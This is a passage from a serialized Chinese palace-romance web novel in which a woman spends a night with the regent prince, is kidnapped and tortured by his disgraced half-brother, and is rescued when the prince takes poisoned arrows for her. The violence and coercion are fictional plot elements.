愤怒过后,他脑子乱成一团,想要骂人,可当她对上她的目光,到嘴边的话,硬是咽了回去。 心乱如麻。 喜欢妻女惨死后,渣王爷一夜白了头请大家收藏:()妻女惨死后,渣王爷一夜白了头更新速度全网最快。 第199章 木已成舟,还是想跑 沈慕兮抿了抿干涩的唇瓣,声音沙哑地开口,“不管你愿不愿意,我都想尽快有一个结果,得罪了。” 结果? 想要什么结果? 慕容景衍动弹不得,只好缓缓闭上眼睛,“你到底想如何?” 她的主动,让他忐忑不安。 总觉得,她在算计些什么。 她想要过来扶他,他拒绝不了,只能别过脸不给她任何回应。 明显感受到他的抗拒,沈慕兮微不可察地叹了一口气。 “你不是想要知道我的心意吗?这就是我的心意。” 说完,在他即将倒下之际,她半扶半扛着他衍上了床... 床帐落下,将两人锁在封闭的空间。 感觉到他僵硬且抗拒。 沈慕兮无声叹了一口气,主动与他十指紧扣,埋首在他的颈间。 “阿景,我喜欢你。” 一句轻飘飘的“喜欢”出口。 落在慕容景衍耳边,犹如惊雷。 沈慕兮明显感觉到他僵硬的身子逐渐变得紧绷。 触手可及的肌肉线条流畅且有力量。 她仰头,轻轻碰上他温热的唇,纤细修长的手在游走。 “今夜,请你容许我放肆。” 帐内。 温度逐渐灼热。 芙蓉帐暖。 天明方歇。 ... 一夜云雨。 外面晴空万里。 内室依旧昏暗一片。 慕容景衍满足醒来。 怀中女子依旧还在睡梦之中。 雪白的颈脖,还有星星点点斑驳紫痕。 那是他报复性留下的。 昨天夜里的记忆像潮水般涌来。 慕容景衍忍不住红了脸。 做梦没想到,沈慕兮竟会用这种方法得到他。 打了他一个措手不及。 所幸。 他心悦她。 她,也心悦他。 如今两人已经木已成舟。 她跑不了了。 想到这里,他嘴角忍不住勾起一抹温柔的弧度。 伸手将她鬓边发丝撩至耳后。 等这段时间忙完,他就将与她的大婚提上日程。 让她风风光光,做他的皇后。 一想到以后睁眼就能看到她。 慕容景衍只有一种失而复得的感恩。 过去种种,都是过眼云烟。 如今一切都是重新开始。 他们要珍惜眼前所得。 心中满足,他再次忍不住低头亲了亲怀中人儿。 似乎是他动的幅度太大了。 在他怀里的人被惊醒了。 沈慕兮微动身体,腰肢传来的酸软感觉让她忍不住倒抽了一口凉气。 随即也反应过来昨日自己做了什么。 当即红了脸。 等她发现还睡在慕容景衍怀中的那一刻,她手足无措地从他怀中滚了出来。 看到自己还穿着里衣,才抱着被子跟慕容景衍打招呼。 “殿下,早。” 怀中一下子变得空落落的。 慕容景衍仅仅只是失落了片刻,又朝她扬起笑容。 “醒了?身子可还有不适?” 沈慕兮看着自己一身干爽里衣。 一个难以置信的念头从脑海里不断徘徊。 她感觉自己已经变成煮熟的虾了。 “这衣裳...” 慕容景衍自然能看到她探究的眼神。 他支吾开口,“昨日...你太累了...我就...” “好,我...我知道了,”沈慕兮紧张地抠着手指,“多...多谢。” 刚才都是几个字几个字的冒出来,沈慕兮没有太大的感觉。 现在一口气连着说话,她立刻听出来了自己嗓子的不同——昨天喊哑了。 这是从来没有过的情况。 慕容景衍还在身边。 她竟有种不知道如何直面慕容景衍的局促。 慕容景衍率先下床,撩起床帐,让微弱的光线照进来。 “稍后宫人会将宫装送到你这里来,你换上,等我忙完这几天,就好好陪你跟筱筱。” 拉开一定距离后。 沈慕兮明显感觉自己没那么紧张。 连忙开口,“不用,你有事,就去忙吧。” 说着,她抓起昨天散落在床上的衣裳就要往身上套。 再次恢复了之前对他避之如蛇蝎的样子。 全程不再与慕容景衍有视线交流。 慕容景衍拉住了她的手臂,强行让她与他对视。 “你后悔了?” 沈慕兮挣开了他的手。 语气淡淡,“能得殿下垂青,不后悔。” “你一定是后悔了。”慕容景衍不依不饶,试图想要立刻逼问出一个真相。 沈慕兮微微叹了一口气。 “殿下是不是要听真话?” 慕容景衍没说话。 沈慕兮自顾自地继续开口。 “殿下,我的心意一直不变,现在的我,对你来说,应该可以算是可有可无,那么...” 她的话还未说完,慕容景衍立刻反应过来她是什么意思。 从醒转过来的欢喜慢慢从错愕变成了震惊,转而是狂怒。 他不顾沈慕兮的挣扎,将她压回床上桎梏在身下,一字一顿,几乎从牙缝里挤出来。 “把话说清楚。” 沈慕兮想要推开他,奈何他的胸膛似磐石坚硬,不管她怎么用力,都推动不了半分。 只好转头不看他。 “我知道,你之前一直不放手,是因为心有不甘,如今,你应该已经得到想要得到的,可还甘心?” “甘心?” 慕容景衍瞬间明白了她的意思。 狂怒几乎要席卷他的全身。 “所以,你昨夜所说所做,全都是假的?就只是为了能让我放你离开?” 一腔真心被无情践踏。 慕容景衍仿佛回到了那些被骤然背叛的岁月。 他恨不得伸手拧断这个背叛他的人的脖子。 可眼前人是她。 他舍不得... 只好不停地逼问,“你究竟把你自己当成什么?把我当成什么?你就这么不愿意待在我身边?” “在你们这些男人眼里,女子都是轻贱,可有可无的?我把自己当什么不重要,重要的是,在你眼里,我是什么?” 沈慕兮当然知道自己是什么人,想要什么。 与慕容景衍纠缠没有结果,她宁愿舍下一层皮,也要逃离这个,假以时日就会让她沦陷的地方。 眼前女子的眼神决绝,冰冷。 慕容景衍的拳头攥得青筋暴起。 胸膛起伏剧烈,他用了极大的自制力,才控制了那只想要探到她脖子上掐断她脖子的手。 他骤然起身离开,不再看她。 “滚!离开本宫的视线。” 他怕。 她再不走,他会不顾一切地将她关起来,锁在自己身边。 不。 不能这样做。 这个女人,诡计多端。 若是真的想逃,肯定会不顾一切地逃。 他不想做出一些让自己后悔莫及的事情。 好不容易把自己哄好了。 下一刻,沈慕兮说出来的话,让慕容景衍差点再次暴走—— “我要带筱筱离开。” “你休想...”慕容景衍咬牙,“你若是想走,现在滚,别在这里碍本宫的眼。” 说完,他头也不回地离开了。 脚下生风的速度。 堪比踩了风火轮。 沈慕兮浑身像是泄走了所有力气,重新跌坐回床。 力气太大,牵扯了某个位置。 她忍不住抱怨了一句。 “这人...牲口吗?” 横冲直撞。 她像是坐在船上荡了一夜。 现在还满身疲惫。 没等她休息太久,一个头上发饰比普通宫娥发间多了一枚纯银掐丝发簪的沉稳宫女来了,语气恭敬地开口,“姑娘,请随奴婢离宫。” 有了慕容景衍的发话。 宫娥的速度很快。 平日沈慕兮梳妆需要一盏茶的时间,今日只要半盏茶的时间就可以了。 似乎是害怕沈慕兮中途跑去找顾筱筱。 离宫的时候,宫娥内侍寸步不离地跟着沈慕兮。 只要她有丁点想要往其他方向拐弯的想法,准能给她掰正。 沈慕兮心中不满,却也无可奈何。 对慕容景衍早上的态度更是云里雾里。 明明她才是女子。 看慕容景衍的反应,倒像是她占了他便宜似的。 进宫一趟,除了睡了慕容景衍以及气了自己一顿,什么都没得到。 沈慕兮肯定不可能这么快离宫。 就在她的脑瓜子迅速运转着想留下来的理由时,她的脚踩到了一处凸出来的石阶。 当场再次崴了脚。 “嘶~~” 带路的沉稳宫娥当场变了脸色。 “姑娘是扭到脚了吗?” 尽管语气一如既往的沉稳,沈慕兮还是听出了她的焦急。 沈慕兮点头,“不知可有地方给我歇一歇?” “这边来。” 几人扶着沈慕兮,很快停在一处冷清的宫门外。 “这里是紫宸殿,已经很久没人来了,委屈姑娘在这里等我们,我们去给您找大夫。” 说完,沉稳宫娥只留下了一个小宫娥陪在沈慕兮身边,就带着另外两名宫娥离开了。 沈慕兮揉着脚踝,打量周围环境。 树木杂乱地越过了宫墙,一地的枯枝败叶。 平日确实没什么前来。 “你去帮我找点水来,我渴了。” 她随口打发小宫娥。 “可是...” 小宫娥有点迟疑。 “嗯?” 在沈慕兮拖长尾音的要挟下,小宫娥终究还是拗不过她,“那...姑娘,你一定要等奴婢,不要自己走开了。” “好,你去吧。” 沈慕兮信誓旦旦地点头。 等小宫娥走远了。 她才尝试重新站起来。 还没走出两步。 脚踝钻心的疼痛,逼得她不得不停下来。 “等到时候回去北宸,我非得再找个正骨的老大夫看看不可。” 她嘀嘀咕咕揉了揉脚踝。 此时,她已经看不见小宫娥的身影。 太阳尚未上中天。 应当还是巳时中或者巳时末的时辰。 惊喜的是,她还注意到了,前面一段路的分叉口,刚好是慕容景衍带她去长禧宫的时候经过的。 如果她没记错。 慕容景衍应该指的是那个方向... 沈慕兮凭着记忆想要往前走。 这时,一个年约四五十岁的内侍像是凭空出现在她身后一样。 笑着上前跟沈慕兮打招呼,“这位贵人,可是迷路了?” 看眼前人笑得慈眉善目。 沈慕兮也没有想太多。 “不知公公可知永安宫在何处?” “贵人是想要去小郡主那里?” 沈慕兮点头,“公公知道?” 老太监笑得满脸褶子,“自然是知道的,请随咱家来。” 也许心中对慕容景衍有一种几乎本能的天然信任,沈慕兮对老太监没有半点怀疑。 乖乖跟上了。 ... 慕容景衍离开长禧居后,一直心绪不宁。 翻了折子基本都是一些日常问安。 他心烦气躁地朝外唤了一声。 “贺玄。” “属下在。” “你去看看,那个女人,回到小东宫没有?若是没在小东宫,遣人去县主府找一找。” “是。” 慕容景衍昨日跟沈慕兮宿在长禧居,夜里还叫了三次水的事情,贺玄是知道的。 所以不敢有半点怠慢。 慕容景衍重新坐下后,还是心绪不宁。 干脆起身,“去永安宫。” ... 永安宫。 住在皇宫这些天。 纵然周围都是雕栏玉砌,一切饮食都比在小东宫的时候还要精细。 可顾筱筱还是一直闷闷不乐。 红豆绿萝相视一眼,彼此眼底都看出了担忧。 “小小姐,既然在宫里,比不得在小东宫的时候,咱们还是小心一点比较好。” 顾筱筱双手托腮,看着小池塘里的锦鲤抢食,无精打采地开口,“红豆,绿萝,我想娘亲了。” 两人面面相觑,随后又继续哄起了顾筱筱,“小姐应该很快就可以进宫了。” 如果她们没猜错,小姐前几天离开就应该知道她们被带进皇宫。 至于小姐一直没来,可能也是被什么东西绊住了脚。 当然,这只是猜测。 她们不敢告诉顾筱筱,免得顾筱筱难过。 毕竟,她现在似乎就已经很苦恼了。 “娘亲不喜欢景叔叔,筱筱进来了,她肯定会很生气。” 说完,她鱼儿抢食也不看了,拉着红豆绿萝的袖子,满脸期盼地看着两人,“要不咱们回去吧。” “啊?” 小姑娘的语出惊人,再次让红豆绿萝不知所措,“可是...” 这皇宫到处都是守卫,她们想要走,又怎么可能是言语上那么简单? 看到红豆绿萝满脸为难,顾筱筱忍不住落了泪。 “我就是知道,你们口口声声说只要我开开心心都是骗人的,景叔叔骗了我进来,还不让我走,回去以后,我一定要告诉娘亲。” “小小姐,这些话可不兴胡乱说出口啊。” 绿萝就差上前捂住她的嘴了。 顾筱筱撅着小嘴,“反正,景叔叔坏,带我进来,又不带娘亲进来,我讨厌他。” 顾筱筱口中的“景叔叔”现在可是执掌南渊所有人生杀大权的最高掌权者,有些话可不能乱说啊。 红豆更是直接捂住了顾筱筱的嘴,“小小姐,听话,咱不要再说这样的话。” “我不,就说就说。”赌气似的,顾筱筱拉下红豆的手,气鼓鼓地就要往外走。 刚好撞到了来人的身上。 “筱筱,这么着急,你想去哪?” 第200章 你滚,我不想看到你 顾筱筱像个小炮弹一样撞在慕容景衍身上。 慕容景衍差点被她撞得往后倒退。 前一刻还一副混世魔王模样的顾筱筱。 下一刻当即乖得跟鹌鹑似的。 “景叔叔。” 她缩了缩脖子。 追出来的红豆绿萝急忙上前跟慕容景衍见礼,被他扬手遣下去。 他蹲下身子,笑着与顾筱筱对视。 “刚才气呼呼地往外走,嘴巴也没有闲下来,在说什么呢?” 顾筱筱心虚地低下头不敢看慕容景衍,“没...没有...” “可是景叔叔都听见了,你是不是在说景叔叔坏话?” 顾筱筱当即不好意思地捂住了脸,“景叔叔都听到了,还问筱筱?” 慕容景衍笑了笑,站起来,重新牵着顾筱筱往里走。 后者的步子拖拖拉拉。 慕容景衍仿佛没有看到。 像是拖着老牛一样将她往前拖,一边走一边笑着开口,“筱筱跑这么急,是想娘亲了?” 顾筱筱“逃命”无果,只好老实点头,“筱筱已经进宫好几天,娘亲会担心。” “那...如果你娘亲也进了宫,你还要走吗?” 顾筱筱停下了挣扎,微微皱起了眉头,似是在思索。 好一会,她才失落摇头,“娘亲不会进宫的。” 慕容景衍停下了脚步,“为何?” 诚然,他已经在顾筱筱不知道的情况下得知了真相。 可他还是想听一下顾筱筱在他面前说出来。 “因为景叔叔以后会有自己的孩子跟妻子,筱筱跟娘亲要是留下来,会给景叔叔带来苦恼。” 这句话,与原先红豆跟顾筱筱说的意思有了出入。 红豆提及的意思,是站在沈慕兮母女的立场上说出来的。 而顾筱筱这番话,却是站在他的立场上。 这让他有点意外。 “那...筱筱是怎么想的?”慕容景衍认真地看向顾筱筱,“如果,我是说如果,你娘亲愿意留下来跟景叔叔生个弟弟或者妹妹,筱筱愿意把他们当成自己的亲弟弟亲妹妹吗?” “筱筱自然是愿意,筱筱最喜欢景叔叔了。” 语速极快地说完,顾筱筱又懊恼地攫起了小嘴,“可是,娘亲不一定愿意,况且,景叔叔以后,不是还有很多其他的妻子吗?娘亲不喜欢,筱筱也不喜欢。” “真巧,叔叔也不喜欢这么复杂的。” “嗯?” 顾筱筱以为自己听错了,似懂非懂地歪着脑袋看向慕容景衍。 慕容景衍再次蹲身与顾筱筱对视,一脸认真地看向顾筱筱,“叔叔也不喜欢太复杂的关系,一个家里面,有我,有你娘亲,有你,就足够了。” “筱筱,叔叔在这里跟你保证,若是你跟你娘亲在叔叔身边,叔叔只有你娘亲一个妻子,更不会让你受委屈。” 他看向顾筱筱的目光柔和又真诚,顾筱筱想到之前慕容景衍对她的好,一下子心软了。 “筱筱愿意帮叔叔,但是不保证成功。 而且,要是娘亲不愿意,叔叔也不能像这次那样,让筱筱跟娘亲分开了。” 说到后面,顾筱筱的小脸上全是严肃。 慕容景衍轻轻捏了捏顾筱筱的小脸,“叔叔答应你。” 若是有筱筱在中间缓和,他跟沈慕兮之间,总能维持一种平和体面。 只要她不是太过激烈的反抗,他都可以徐徐图之。 就在他跟顾筱筱一大一小准备商量如何让沈慕兮软下态度的时候。 贺玄一脸急色拿着一张纸条来了。 “殿下。” 慕容景衍看到贺玄脸上神色有异,第一时间吩咐红豆绿萝带开了顾筱筱。 等顾筱筱走远了以后,才一脸严肃地看向贺玄。 “何事?” “沈姑娘没有回去小东宫,也没有回去县主府,属下刚刚在养心殿发现了这个。” 养心殿是慕容景衍如今临时办公的地方。 竟然能够在养心殿掩人耳目留下纸条... 慕容景衍脸色阴沉地接过贺玄的纸条。 展开。 等看清纸条上的内容,他脸色剧变。 “你找人,将关七从刑部那边提出来,在让侍卫把三皇子府包围起来。” “是。” ... 潮湿昏暗的山洞里。 沈慕兮悠悠醒转。 泥土混杂着各种奇怪的味道侵占她的呼吸。 外头淅淅沥沥的声音不断。 还有缕缕寒气不断涌入。 沈慕兮第一反应就是外头下雨了。 第二反应,才是自己又被绑了。 有了之前被苏勇绑架的经验,她现在身上放毒药的地方可不止袖袋。 纵然周围漆黑一片。 她还是能凭借自己的感觉,将手上的绳子放在身后的石墙上蹭刮。 只可惜,只能刮下一层层的苔藓。 以及,满手黏腻及恶臭。 她皱了皱眉。 南渊不同北宸,即使在冬日,也是雨水连绵。 墙壁长苔藓,是正常不过的事情。 可是,黏腻就不正常了。 自从学会用毒后,她对身边环境的有毒没毒格外敏感。 她置身的地方虽然怪异,却没有毒。 她也没有继续深究。 尝试了几次,没法弄断手上的绳子,她尝试动一下身子,发现自己的双腿同样被捆得严严实实。 扭伤的脚踝在发烫。 不用看,沈慕兮都知道肯定肿成馒头了。 得想办法尽快逃走。 “醒了?” 一个冷漠得不带任何情绪的声音响起。 沈慕兮一个激灵。 连忙抬头顺着声源看去。 堵在洞口的石块被搬开。 一个略微佝偻的身影带着湿气一拐一瘸地逆光走到她身边,毫不留情地踹了她一脚。 “三皇子?” 突然被绑,她想过很多种可能,连死了的苏勇她都想到了。 唯独没想过是三皇子慕容景衡动的手。 毕竟满打满算,沈慕兮与他只有过一面之缘,知道他曾经是慕容明辉最喜欢的孩子。 后来慕容景衍夺权成功,她就再也没有听过半点关于他的消息... 似乎没有讶异沈慕兮为什么会认出自己,慕容景衡点了灯。 眼前场景逐渐暴露在她面前。 沈慕兮这才发现,这个山洞,远比她想想的深广,似乎是一个大型的、专门用刑审讯的牢房。 她现在的这个位置,是一个凹槽,可能是以前装些什么东西。 但是可能时间太久远,有些刑具已经被铁锈腐蚀,但是依稀能看出,都是一些刀类。 还有林林总总高矮不一的架子跟用木块垒起的高台... 与其说是一个专门用刑的牢房,倒不如说更像是一个大型屠宰场。 想到这里,沈慕兮汗毛倒竖。 “怎么,慕容景衍没有带你来过这个地方?” 慕容景衡看着沈慕兮冷笑,似乎很欣赏沈慕兮脸上的震惊。 他自顾自地说下去。 “这里是慕容景衍得势之前,暗地里做一些见不得人勾当的地方,你可知?他最喜欢哪一种刑罚?” 沈慕兮的保持沉默似乎没有影响到慕容景衡。 他一拐一瘸地上前捡起一个拂袖的刀柄,狞笑着将刀柄放在沈慕兮脸上来回挪动。 沈慕兮别过脑袋,却被他粗鲁地掰了回来。 “那个没有心的恶魔,最喜欢的就是扒人皮。 很不幸,你被他看上了。 我就很好奇,嫁给那样一个恶魔,难道你在睡梦之中,不会被惊醒?” 眼看慕容景衡沉浸在自己的世界,沈慕兮知道自己说什么都没用。 搞不好,还会刺激他,对自己不利。 保持沉默,就是给自己最好的保护色。 “...将我流放直琼南?呵,他以为他是谁?他也不过只是一枚弃子,一枚翻了身的弃子...” “一枚棋子,哪来的脸要将我外祖一家全部流放至北岭?” 他开始语无伦次了。 “你说啊,他到底凭什么?毒不死,像一只打不死的臭虫。” 沈慕兮原以为,自己只要一直沉默听对方吐槽就可以。 没想到,饶是如此,对方还是不放过她。 一直等不到回应,他居然开始对她动手了。 “啪——” 一记响亮的耳光落下,沈慕兮眼冒金星。 “我让你说话,你聋了吗?” 又一记响亮的耳光甩在她另外一张脸上,她一个趔趄,重重跌倒在地。 她想爬起来,后背传来一阵钝痛——慕容景衡狠狠踩在她的背上。 死命碾磨,重复踩踏。 沈慕兮痛得冷汗都出来了。 终于,她开始挣扎。 “你现在折磨我,有什么用?真要发泄不满,你为何不直接找慕容景衍。” 她的声音随着慕容景衡的用力踩踏,变得断断续续。 慕容景衡十分满意她的反抗,终于停下了脚下动作,毫不怜惜地捏起她的下颌与他对视。 “折磨你,自然是比直接找上慕容景衍有用。” “我知道,他昨晚与你宿在一起,他这种人,对一切都十分警惕。 若不是格外信任或者有其他奸情,他绝对不可能与你独处一室。” 说着,他松开手取出匕首在沈慕兮身上比划。 “你说,我从你身上取下一点东西送出去,慕容景衍会不会来?” 沈慕兮自嘲一笑,“你在想什么?你的皇兄是什么人,难道你还不清楚?” 慕容景衡挑眉,“哟呵,这就护上了?” “不是护不护的问题,咱要认清现实,慕容景衍是不会被你要挟到的。”沈慕兮冷静地跟慕容景衡分析,“要是他有什么青梅竹马倒也还好,可谁叫你们父皇狠心,连个小竹马都不给他留,他心里没女人,那刀自然磨得快。” “你少在这里胡言乱语混淆我的视听。” 慕容景衡毫不留情地在沈慕兮的手臂上划下一刀深深的口子,顺便撕下了她手上一截带血的衣袖,吹响挂在脖子上的骨哨。 不多时,一名身穿粗布短打,做农民打扮的蒙面男子进来将他手上那一块染血的衣袖带走。 “咱们要不要打个赌?就赌慕容景衍看到你衣裳的碎布就能方寸大乱。” 他笑得不怀好意,沈慕兮似乎觉察到了他的意图。 “你设了陷阱,想用我的衣裳碎布引慕容景衍过来?” “带你去看戏。”慕容景衡冷笑一声,直接将沈慕兮扛在肩上。 外头雨点越来越大、越来越密集。 山洞外,站了十多个身穿粗布短打的蒙面男子。 在慕容景衍的一声令下,各散东西。 五花大绑的沈慕兮被慕容景衡当成挡雨工具举在头上。 冰冷的雨滴打在身上,寒气浸入骨髓。 沈慕兮失血的手臂还在不断流血,在大雨的冲刷下,血水淋淋漓漓流了一路。 不知道什么时候开始,眼前失去色彩,她看所有东西,都只有黑白色——这是失血过多的表现。 再这样下去,她不被慕容景衡杀掉,也会因为失血过多而亡。 不知过了多久,她感觉雨水停了,她整个人被扔在湿软的泥地。 还未动弹半分,又被狠狠踩在地上。 “慕容景衍,你居然敢对我的人动手,难道你不怕这个娇滴滴的小美人死在你面前吗?” 慕容景衍此时一身黑色轻甲,浑身湿漉漉得像是从水里捞出来的一样。 看到沈慕兮的那一刻,向来淡漠的神色染上了一层狠戾的杀意。 “慕容景衡,你找死。” 他想冲上去,奈何慕容景衡却拉起了沈慕兮的头发,将匕首抵在她的喉间。 “皇兄,话可不能这么说,有道是,长兄如父,你作为我的兄长,难道不应该包容弟弟偶尔的任性吗?” 他说得慢条斯理,笃定了慕容景衍不敢对他做些什么。 慕容景衍紧紧握住手上佩剑,手背青筋凸起,一双眼眸染上猩红。 御林军几乎围了半个山头。 慕容景衡手下的人也几乎全部被抓。 不管他反抗不反抗,似乎都死局已定。 可他不甘心。 分明,他才是最有希望继承大统的那个人。 慕容景衍,他怎么配? “慕容景衍,我知道你肯定舍不得这娇滴滴的太子妃,所以咱也别废话,直入主题。” 慕容景衍想要上前,奈何沈慕兮被慕容景衡压制得死死的。 他不得不受制于慕容景衡。 迈出了一步,在慕容景衡警告的眼神下,后退了两步。 “将人放了,我可以既往不咎,给你钱银,放你离开。” 慕容景衍努力让自己的语气平静。 生怕刺激到慕容景衡,让沈慕兮有所闪失。 “哇,皇兄居然还给我钱银,放我这个罪臣离开?可是,我还是害怕啊,你这么多弓箭对着我,万一我手滑...” “你想如何?” “咱们,交换人质好不好?你过来,我把她换走。” 听到“交换”,本来已经没有反抗力气的沈慕兮不知道哪来的力气,朝慕容景衍的方向大叫。 “慕容景衍,你滚,我不想看到你。” 第201章 慕容景衍是重生的 慕容景衍对她的话充耳不闻。 “是我过去还是如何?” “自然是你过来。” “我凭什么相信你?” “自然是因为,”慕容景衍手上的匕首往沈慕兮脖子上压了压,瓷白的肌肤立刻多了一条血痕,“你没得选择。” “好,你放下匕首,我过去就是。” 慕容景衍抬手阻止慕容景衡的动作。 “不准带任何武器。” 慕容景衍深深看了沈慕兮一眼,将随身匕首取下,连带外袍也取下。 慕容景衡还是不放心,“赤脚,只穿里衣。” 贺鸿听不下去,“三殿下,你别得寸进尺了。” 纵然已经停了雨。 湿冷的天气,还是透入骨缝的冷。 殿下的身体之前中了寒毒,即使现在已经解了毒,依旧比常人要畏寒一些。 贺鸿满眼不放心。 慕容景衡笑了,“他可以回去,回去后给这个女人收尸便是。” 说完,他拉着沈慕兮就要往后退。 “贺鸿。” 被慕容景衍警告地轻唤一声,贺鸿乖乖闭了嘴。 眼看慕容景衍乖乖剥掉外裳。 沈慕兮说不上来自己是什么感觉。 慕容景衍似有所觉,抬眸看向她,眼底依旧是往日的纯粹。 沈慕兮的理智告诉她,她要转过头不能看他。 可是身体却异常诚实。 眼睛几乎都要黏在他的身上。 看着他淋雨迈出步子一步一步朝她走来。 耳边是呼啸的风声以及慕容景衡聒噪的声音。 明明天气严寒。 可她却是感觉到眼眶一直在发烫。 “慕容景衍,你知不知道你现在,特别像一条丧家之犬,只为了一个女人,值得吗?” 沈慕兮忍不住出言回呛,“杀人不过头点地,你又何必这样?” 在她印象中,慕容景衍之前即使大仇得报,也不曾像这样那么贪得无厌。 “他是他,我是我,他有妇人之仁,注定办不了大事。”慕容景衡说话间,慕容景衍已经在两人半丈之遥。 慕容景衡将一柄匕首踢到慕容景衍身前。 “现在,捡起匕首,将右手手筋挑掉,并且,让天下人都知道,你,现在变成了残废。” 眼看慕容景衍真的弯腰捡起匕首,沈慕兮也不知道是因为寒冷还是因为害怕。 “慕容景衍。” 慕容景衍的手微微顿住,很快就将匕首拿在手上。 沈慕兮只觉得心头一阵绞痛,“回去吧...” 她哽咽开口,“没必要这样做,真的,我不值得。” 慕容景衍只淡淡看了沈慕兮一眼,重新把目光落在慕容景衡身上,“除了这个,还有其他吗?要说,你就一次过说清楚,别磨磨唧唧的。” “有意思。” 慕容景衡笑了,“你果然是了解我的,皇兄。” “残废做不了皇帝,那么,自然要扶植皇弟上位了。” 眼看慕容景衡想要抬手做手势。 沈慕兮把心一横,咬上了慕容景衡的右手,在慕容景衡用左手抽出另外一把匕首的时候,用尽全力撞上匕首。 慕容景衡似乎没有想到沈慕兮真的会这么决绝。 连忙收了匕首。 “你个贱人,不要命了?” 沈慕兮顺势咬上了他的手臂。 “啊!!” 一声惨叫。 身后数支利箭齐发。 沈慕兮紧闭双眼,打算迎接锥心疼痛。 好一会。 预料之中的疼痛没有传来。 下一刻,她只觉得后背一暖,被纳入了一个温暖的怀抱。 很快,怀抱的主人趔趄了一下,将她带到羽箭的射程范围之外。 沈慕兮这才发现,慕容景衍的后背插着两支箭矢。 尽管如此。 他挥动匕首的动作依旧利落。 所到之处,几乎一刀封喉。 变故陡生,惊呆了慕容景衡。 手上所有的底牌都没了。 他转身就要套。 被贺玄带着包围的人全部围住。 此时他一改刚才的嚣张跋扈。 跪在慕容景衍身前不断磕头,“皇兄,你饶了我这次吧,我再也不敢了。” 慕容景衍冷笑,“你费尽心思,想要将本宫引出来,不过是想策划宫变,可是你可有想过,所有的一切,都是为他人作嫁衣?” 磕头到一半,慕容景衡停下来了。 “你什么意思?” 慕容景衍勾唇冷冷一笑。 扬手一挥。 贺鸿先是将一件厚重的斗篷虚虚披在慕容景衡的身上,尽量不碰到插在他后背的羽箭。 在贺鸿身后,两个蓬头垢面的络腮大汉被押解上前。 “张武,吴用,是你的人吧,另外,你在各个宫里安插的内应,也一并被拔除了,在他们的口中,本宫才知道,本宫的好皇弟,居然公然勾结回疆,意图与外族同治,真是天真。” 慕容景衡本来还想矢口否认。 在看到押上来的人的那一刻,彻底呆住了。 他一直以为,自己做的事情,天衣无缝。 没想到,到头来,在旁人眼里却像孩子玩过家家一样儿戏。 “现在,你无话可说了吧?” 慕容景衍挑眉。 慕容景衡像是彻底被抽取了所有的力气,直到被御林军带走的时候,几乎也需要半拖着人离开。 沈慕兮顾不上自己的脚伤。 身上绳索解开后,立刻查看慕容景衍的伤势。 旁人看不出来,可是骗不了她。 那两支箭上有毒,所以慕容景衡才会这么震惊。 似是印证她的猜测。 在她即将触碰到慕容景衍的那一刻,慕容景衍朝她微微一笑。 之后,双眼紧闭,重重倒在了她的身上。 “殿下!!!” ... 皇宫里。 宫娥内侍有条不紊地进进出出。 “快,绷带,剪刀,金疮药,贺鸿按照我给你的方子,去抓药熬煮。” 沈慕兮提着一口气吩咐跟在身旁的所有人。 即使一拐一瘸,一身狼狈,依旧阻挡不了她要守在他身边的决心。 随后被传召而来的太医苦口婆心地劝说,“姑娘,你的脚也要尽快正骨,否则...” “那我就在这儿正骨。” 沈慕兮不容置喙地开口,顺便朝贺玄扬声吩咐道,“贺玄,你让夏蝉帮我找个轮椅来。” 沈慕兮的态度太过坚决。 太医没办法,只好原地先给她正骨。 “姑娘,可能会稍微有点痛,您忍着点。” “我可以的。”沈慕兮点头。 话音刚落。 “咔”的一声。 脚踝位置传来的疼痛几乎让她眼前一黑。 她呼吸一下子岔了气,咳嗽了好一会才缓过来。 太医一边给沈慕兮上夹板,一边交代,“姑娘的腿伤似乎有后遗症,这段时间,还是避免跑动。” “我知道了。” 夏蝉推来了轮椅。 沈慕兮推着轮椅停在慕容景衍的床边。 专门负责外伤的林太医正在小心为他的伤口清创。 沈慕兮心里十分不是滋味,“他创口周围的黑血也要放干净,否哦则伤口很容易感染。” 林太医毕恭毕敬,“姑娘请放心。” 很快,慕容景衍的伤口已经清创完毕,在确定箭矢没有倒钩的那一刻,林太医手落箭起,带起一股黑血。 紧接着,就是一阵手法利落的放血止血。 一直到伤口上的黑血变回红色。 林太医才暗暗松了一口气。 全程,慕容景衍在昏迷之中也没有闷哼半声。 沈慕兮也跟着松了一口气,很快,她松下去的那口气又重新提起来,“殿下现在的情况,会出现高热吗?” 伤口感染,发烧简直就是太正常不过的事情了。 “殿下曾经中过寒毒,所以高热的可能性不大,但是,一直昏迷始终有危险,若是殿下两天醒不过来,恐怕会有危险。” 两天... 沈慕兮看了一眼自己的伤势。 “夏蝉。” “姑娘?” “你附耳过来,我有事情交代。” 夏蝉乖顺地俯耳在沈慕兮嘴边。 等沈慕兮说完,她才直起要办,“奴婢这就去办。” 紧接着,沈慕兮又唤来了贺鸿贺玄二人。 “我不是要僭越,就是,这些天,殿下要处理的事情肯定很多,可如今他却...” 贺鸿一眼看出了沈慕兮的担忧,保证道,“殿下视先有安排,姑娘不必担心。” 沈慕兮总算放心了,“好,那你们去忙,这里有我就好了。” 贺玄不放心地看向她,“姑娘,您的腿...” 沈慕兮歪着身子看了一眼自己被夹板固定的腿,不甚在意地摆了摆手,“没事。” ... 这些天,邺城十分不太平。 先是混入了回疆奸细。 之后又是各个官员与回疆有所勾结,刺杀太子。 京中御林军巡查次数紧凑。 人人自危。 皇宫。 沈慕兮再次给慕容景衍换下了一张湿帕子。 贺鸿不放心地上前,“姑娘,您已经三天没合眼了,再这样下去,铁打的身子也不行,要不还是换属下来吧。” 沈慕兮脸色苍白地摇头。 “你先退下吧,我需要你的时候会叫你。” 沈慕兮一直坚持。 贺鸿也不敢再多说其他,安静退下。 寝殿内,安静得落针可闻。 只有宫娥内侍来回添水时候发出的轻微声音。 看着床上唇色惨白的人。 沈慕兮百感交集。 经历了被慕容景衡的绑架,她更加看不清慕容景衍对自己的感情。 看他应对慕容景衍的态度,她就知道,其实他一切都算计好。 她嚎的那两嗓子,不过只是增加了慕容景衡的信任度。 可是为何他却在关键时刻,为她挡了箭? 沈慕兮揉了揉自己的脸。 也许... 他对她的感情,不是一时兴起。 但是... 她已经没有力气去猜测。 ... 慕容景衍感觉自己做了一个很漫长的梦。 梦里他回到了上一世。 他没有孤注一掷去北宸,而是继续留在南渊。 换来的却是亲信背叛。 就在他走投无路的时候,一个面黄肌瘦的姑娘救了他。 彼时他已经没有了往日的意气风发,看起来就像一个中年流浪汉。 其他乞丐都在欺负他。 